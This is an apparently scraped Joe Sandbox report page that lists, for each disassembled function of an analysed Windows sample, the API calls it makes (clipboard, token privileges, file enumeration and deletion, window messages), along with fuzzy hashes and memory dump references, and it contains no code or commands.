Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Exception@8Throw_memsetstd::exception::exception
String ID:
API String ID: 525207782-0
Opcode ID: 5db2a621b77f9f51e6d0df2e5d73dbc3d80b50fddd4bc919c38652e4ccf84bab
Instruction ID: fad9cab97bf53c1076657252b75e57c235d0ea151fcc25f5806973a30b1879cb
Opcode Fuzzy Hash: 5db2a621b77f9f51e6d0df2e5d73dbc3d80b50fddd4bc919c38652e4ccf84bab
Instruction Fuzzy Hash: 0E01F6742052059FD326EF5CD951F45BBE5AF69310F24845AF5888F392DB72E840DF90

Function 002F4A8C Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

_fseek.LIBCMT ref: 002F4AA4

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _fseek
String ID:
API String ID: 2937370855-0
Opcode ID: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
Instruction ID: 4f711a6c28b6de76aa5f84bd0ca752305cab6e9075909caebce270040912a01b
Opcode Fuzzy Hash: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
Instruction Fuzzy Hash: 1FF085B6500208FFDF169F84DC00DEBBB7DEB89320F004198F9045A220D272EA218BA0

Function 002F4A2F Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,002F27AF,?,00000001), ref: 002F4A63

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: b3b7f38d5b6ae679f44ce4c75c7f81a5e8e79f856b5e291d8e28405ffcf7474e
Instruction ID: 10e9930c163e44f7eaff579a8b4435e1c4e971874497cfe834d0d033e7a6a3f8
Opcode Fuzzy Hash: b3b7f38d5b6ae679f44ce4c75c7f81a5e8e79f856b5e291d8e28405ffcf7474e
Instruction Fuzzy Hash: 9AF0F275165706CFCB34AF64E8A0827FBE4AB14365320893EE6DB82620C7B199A4DF44

Function 002F4AB2 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 002F4AD0

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
Instruction ID: 9b28d08ea7a1d76c18a3051a6cd1c099da9fc427306a8e54bb1bfde853e35c6d
Opcode Fuzzy Hash: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
Instruction Fuzzy Hash: C4F0587240020DFFDF05CF80C941EAABB79FB04314F208189FD198A212D772DA21AB90

Function 003009C5 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 003009E4

Part of subcall function 002F1821: _memmove.LIBCMT ref: 002F185B

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: 3405eac4b171d36ee3f495eed936a104ab8f1932d17d7b3397da45bf64f35681
Instruction ID: c4e452754b0840e9c59b2d5d8c0c94693ff6e745e6db7a9a3a77796558b27f85
Opcode Fuzzy Hash: 3405eac4b171d36ee3f495eed936a104ab8f1932d17d7b3397da45bf64f35681
Instruction Fuzzy Hash: 2BE0863690412857D72596989C05FEAB7DDDB89790F0441B6FD0CD7344D9609CD18691

Function 00344D18 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 00344D31

Part of subcall function 002F1821: _memmove.LIBCMT ref: 002F185B

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: FolderPath_memmove
String ID:
API String ID: 3334745507-0
Opcode ID: 81fc5f2da55867bd34addcce912805ac42f52ea75b7d56d6a9e44159acea1fff
Instruction ID: 61a3f52d60391db0dc32547e36321f4fb0d3c1d5be7c2c0c1cf6ba630a7802cf
Opcode Fuzzy Hash: 81fc5f2da55867bd34addcce912805ac42f52ea75b7d56d6a9e44159acea1fff
Instruction Fuzzy Hash: EAD05EA191032C6BEB64E6A59C0DDB77BACD744260F0006B17D5CC3101E9249D958AE0

Function 0034394D Relevance: 1.5, APIs: 1, Instructions: 20fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0034384C: SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000001,00000000,00000000,00343959,00000000,00000000,?,003305DB,00398070,00000002,?,?), ref: 003438CA

WriteFile.KERNELBASE(00000000,?,?,?,00000000,00000000,00000000,?,003305DB,00398070,00000002,?,?,?,00000000), ref: 00343967

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: File$PointerWrite
String ID:
API String ID: 539440098-0
Opcode ID: f9a84a878ef1160bf3a3d2d970651522aa72c9e85cd36682fdc30c11a90df54c
Instruction ID: a937c49e2d6daf6def248b2300d66857fc8a1fcb58fe272f21491ffb3ae6eb36
Opcode Fuzzy Hash: f9a84a878ef1160bf3a3d2d970651522aa72c9e85cd36682fdc30c11a90df54c
Instruction Fuzzy Hash: 36E04636400208FBDB21AF94D801A9ABBBCEB04320F00465AFD4096111DBB2AE249BE0

Function 002F42CF Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,00000000,00322F8B), ref: 002F42EF

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 35ec4856f56c3f7cd9fa3232f8e41022a73469290b443187a8b435d736b89941
Instruction ID: 59a662409cb5747a48dee238a2e0aa7f00a1ae05ec6df12e0cc5a1f787583263
Opcode Fuzzy Hash: 35ec4856f56c3f7cd9fa3232f8e41022a73469290b443187a8b435d736b89941
Instruction Fuzzy Hash: 71E09A75410701CFD3315F1AD404422F7F4FFD13613214A3FE5E692560D3B054958B50

Function 00343EF7 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CopyFileExW.KERNELBASE(?,?,00000000,00000000,00000000,00000008,?,?,00343E7D,?,?,?), ref: 00343F0D

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: ed4f5de176fcc55e05f9727d315c6d9ac1e68e6772a92ab2254c229d051df2e5
Instruction ID: 2d898fcdf933906927fc6d101c6e3e46c20ba99ce7a11bc6cc4b0550da1c269f
Opcode Fuzzy Hash: ed4f5de176fcc55e05f9727d315c6d9ac1e68e6772a92ab2254c229d051df2e5
Instruction Fuzzy Hash: 58D0A7315E020CFBEF60DFA0CC06F68B7ACE701706F1002A4F504D90E0DA7269149795

Function 002F42AE Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,003306E6,00000000,00000000,00000000), ref: 002F42BF

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e641669784d857b1961d08cceebe0c26c5a75d811fb98d7b0e0fdb47f790443d
Instruction ID: 906979e2e264c1ce0acb7c80edc56b48bad26aef9bc133e80e5470660aa3aa74
Opcode Fuzzy Hash: e641669784d857b1961d08cceebe0c26c5a75d811fb98d7b0e0fdb47f790443d
Instruction Fuzzy Hash: 59D0C77464020CBFE715CB80DC46FA9777CE705710F500194FD04A6290D6B27D508795

Function 00344FEC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00343BFE), ref: 00344FED

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: bca235052d5043fffdf075a0174f8ac7b219979d10527136d59c836961afe72f
Instruction ID: 5a4ea4f0dc96c03977c7005de111304746445488548c3b960e6857682dec377e
Opcode Fuzzy Hash: bca235052d5043fffdf075a0174f8ac7b219979d10527136d59c836961afe72f
Instruction Fuzzy Hash: DCB0923800170096DD3A1E3C1948299338558423A9BDA1B92E478998E29239A88FA520

Function 0030547B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00305486

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: 39a7f5d772728fb3352cc1867d575b1bc4f9f959ddfe6525eb24f3760b0dd9d3
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: 50B0927644420C77CE022A82EC03A9A3B299B40668F408020FB0C1C1A2A673A6A09A89

Function 0034D6BE Relevance: 1.4, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000002,00000000), ref: 0034D842

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: efbf04e91b0bad50308fe63fb0ba0f4ff0d35ce47ad54f678aa02cacd535ca8e
Instruction ID: ec39d969b9efc74a6c5f35f31d15d43eacdf91a8fbc290a4516f6aac19c8b4f6
Opcode Fuzzy Hash: efbf04e91b0bad50308fe63fb0ba0f4ff0d35ce47ad54f678aa02cacd535ca8e
Instruction Fuzzy Hash: D9718D30214306CFC715EF64D491A6EB7E4AF88354F444A2DF9969B2A2DB30ED19CF52

Function 0034C270 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00344005: FindFirstFileW.KERNELBASE(?,?), ref: 0034407C
Part of subcall function 00344005: DeleteFileW.KERNELBASE(?,?,?,?), ref: 003440CC
Part of subcall function 00344005: FindNextFileW.KERNELBASE(00000000,00000010), ref: 003440DD
Part of subcall function 00344005: FindClose.KERNEL32(00000000), ref: 003440F4

GetLastError.KERNEL32 ref: 0034C292

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: FileFind$CloseDeleteErrorFirstLastNext
String ID:
API String ID: 2191629493-0
Opcode ID: 5ebd724db2af4806eb58eb93ba26498566a5909072a8656b962e72ec16f6139c
Instruction ID: bb982718a1bb2b91c010b14c3ec9429af1e63ffbfb85b8f35c62b601718d1e58
Opcode Fuzzy Hash: 5ebd724db2af4806eb58eb93ba26498566a5909072a8656b962e72ec16f6139c
Instruction Fuzzy Hash: 1BF08C322202148FDB15FF59D840B6AB7E9AF88320F058419F9098B352CB70BD11CB94

Non-executed Functions

Function 0036D164 Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 637windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 002E29E2: GetWindowLongW.USER32(?,000000EB), ref: 002E29F3

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0036D208
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0036D249
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 0036D28E
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0036D2B8
SendMessageW.USER32 ref: 0036D2E1
_wcsncpy.LIBCMT ref: 0036D359
GetKeyState.USER32(00000011), ref: 0036D37A
GetKeyState.USER32(00000009), ref: 0036D387
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0036D39D
GetKeyState.USER32(00000010), ref: 0036D3A7
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0036D3D0
SendMessageW.USER32 ref: 0036D3F7
SendMessageW.USER32(?,00001030,?,0036B9BA), ref: 0036D4FD
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0036D513
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 0036D526
SetCapture.USER32(?), ref: 0036D52F
ClientToScreen.USER32(?,?), ref: 0036D594
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 0036D5A1
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 0036D5BB
ReleaseCapture.USER32 ref: 0036D5C6
GetCursorPos.USER32(?), ref: 0036D600
ScreenToClient.USER32(?,?), ref: 0036D60D
SendMessageW.USER32(?,00001012,00000000,?), ref: 0036D669
SendMessageW.USER32 ref: 0036D697
SendMessageW.USER32(?,00001111,00000000,?), ref: 0036D6D4
SendMessageW.USER32 ref: 0036D703
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0036D724
SendMessageW.USER32(?,0000110B,00000009,?), ref: 0036D733
GetCursorPos.USER32(?), ref: 0036D753
ScreenToClient.USER32(?,?), ref: 0036D760
GetParent.USER32(?), ref: 0036D780
SendMessageW.USER32(?,00001012,00000000,?), ref: 0036D7E9
SendMessageW.USER32 ref: 0036D81A
ClientToScreen.USER32(?,?), ref: 0036D878
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 0036D8A8
SendMessageW.USER32(?,00001111,00000000,?), ref: 0036D8D2
SendMessageW.USER32 ref: 0036D8F5
ClientToScreen.USER32(?,?), ref: 0036D947
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 0036D97B

Part of subcall function 002E29AB: GetWindowLongW.USER32(?,000000EB), ref: 002E29BC

GetWindowLongW.USER32(?,000000F0), ref: 0036DA17

Strings

F, xrefs: 0036D8FB
@GUI_DRAGID, xrefs: 0036D562

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 3977979337-4164748364
Opcode ID: 60261e8ce66b881197fb0ad4c373dd2eb5918ab4e98cf8de2e5a68f9e409bb83
Instruction ID: 89152da41f335e882f94a8f04b4ca2465f0d0904c7a8e2b35da061f987dc74f8
Opcode Fuzzy Hash: 60261e8ce66b881197fb0ad4c373dd2eb5918ab4e98cf8de2e5a68f9e409bb83
Instruction Fuzzy Hash: 6842CF34A04241DFC726CF24CC88B6ABBE9FF4A710F154519F6A98B2A5C7B1D854CF92

Function 00338F2E Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00339399: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 003393E3
Part of subcall function 00339399: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00339410
Part of subcall function 00339399: GetLastError.KERNEL32 ref: 0033941D

_memset.LIBCMT ref: 00338F71
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00338FC3
CloseHandle.KERNEL32(?), ref: 00338FD4
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00338FEB
GetProcessWindowStation.USER32 ref: 00339004
SetProcessWindowStation.USER32(00000000), ref: 0033900E
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00339028

Part of subcall function 00338DE9: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00338F27), ref: 00338DFE
Part of subcall function 00338DE9: CloseHandle.KERNEL32(?,?,00338F27), ref: 00338E10

Strings

winsta0, xrefs: 00338FE6
default, xrefs: 00339023
, xrefs: 00338F80

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: 9dad7956cc5dd63ea3c9e0aca02cd29fca16f44f41a8886301951587ca938cba
Instruction ID: 0f04e2aaae26adb5c67cd90496b6154a3db5b06b35a1645d2fa8945094a70aa3
Opcode Fuzzy Hash: 9dad7956cc5dd63ea3c9e0aca02cd29fca16f44f41a8886301951587ca938cba
Instruction Fuzzy Hash: AD8168B1D0020AFFDF269FA4CC89AEEBB79EF04304F05411AF914B62A0D7718E559B60

Function 00354632 Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00370980), ref: 0035465C
IsClipboardFormatAvailable.USER32(0000000D), ref: 0035466A
GetClipboardData.USER32(0000000D), ref: 00354672
CloseClipboard.USER32 ref: 0035467E
GlobalLock.KERNEL32(00000000), ref: 0035469A
CloseClipboard.USER32 ref: 003546A4
GlobalUnlock.KERNEL32(00000000,00000000), ref: 003546B9
IsClipboardFormatAvailable.USER32(00000001), ref: 003546C6
GetClipboardData.USER32(00000001), ref: 003546CE
GlobalLock.KERNEL32(00000000), ref: 003546DB
GlobalUnlock.KERNEL32(00000000,00000000,?), ref: 0035470F
CloseClipboard.USER32 ref: 0035481F

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: 88c158e2c613946e843856f068548e4ceeeb1ee4bc5c28d843f28308e129cb08
Instruction ID: 32dd5dc1d9e892748919986876de9ff606a3c17201dd61a17e199a786cbcf1cc
Opcode Fuzzy Hash: 88c158e2c613946e843856f068548e4ceeeb1ee4bc5c28d843f28308e129cb08
Instruction Fuzzy Hash: 5E51D431244205EBD31AEF60DC99F6E73ACEF84B45F000529FA59D61E1DF70D8988B62

Function 0034F5D8 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 0034F5F9
_wcscmp.LIBCMT ref: 0034F60E
_wcscmp.LIBCMT ref: 0034F625
GetFileAttributesW.KERNEL32(?), ref: 0034F637
SetFileAttributesW.KERNEL32(?,?), ref: 0034F651
FindNextFileW.KERNEL32(00000000,?), ref: 0034F669
FindClose.KERNEL32(00000000), ref: 0034F674
FindFirstFileW.KERNEL32(*.*,?), ref: 0034F690
_wcscmp.LIBCMT ref: 0034F6B7
_wcscmp.LIBCMT ref: 0034F6CE
SetCurrentDirectoryW.KERNEL32(?), ref: 0034F6E0
